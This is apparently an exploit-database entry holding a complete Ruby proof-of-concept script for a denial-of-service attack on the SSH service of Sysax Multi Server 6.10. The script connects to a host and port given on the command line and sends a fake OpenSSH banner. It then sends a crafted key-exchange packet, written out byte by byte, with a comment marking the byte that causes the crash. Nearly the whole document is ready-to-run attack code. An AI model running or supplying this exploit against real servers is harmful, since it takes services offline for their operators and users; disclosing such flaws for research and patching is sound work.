Sysax Multi Server 6.10 – SSH Denial of Service
#!/usr/bin/env ruby # Sysax Multi Server 6.10 SSH DoS # Matt "hostess" Andreko < mandreko [at] accuvant.com > # http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html require 'socket' unless ARGV.length == 2 puts "Usage: ruby #{$0} [host] [port]\n" exit end packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f, 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7, 0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00, 0x00, 0x7e, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x2d, 0x65, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x2d, 0x73, 0x68, 0x61, 0x32, 0x35, 0x36, 0x2c, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x2d, 0x65, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x31, 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0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c, 0x75, 0x6d, 0x61, 0x63, 0x2d, 0x36, 0x34, 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64, 0x31, 0x36, 0x30, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64, 0x31, 0x36, 0x30, 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, 0x2d, 0x39, 0x36, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2d, 0x39, 0x36, 0x00, #3rd byte in this next line causes crash 0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*") host = ARGV[0] port = ARGV[1] sock = TCPSocket.open(host, port) banner = sock.gets() puts banner sock.puts("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n") sock.puts(packet) resp = sock.gets() sock.close() |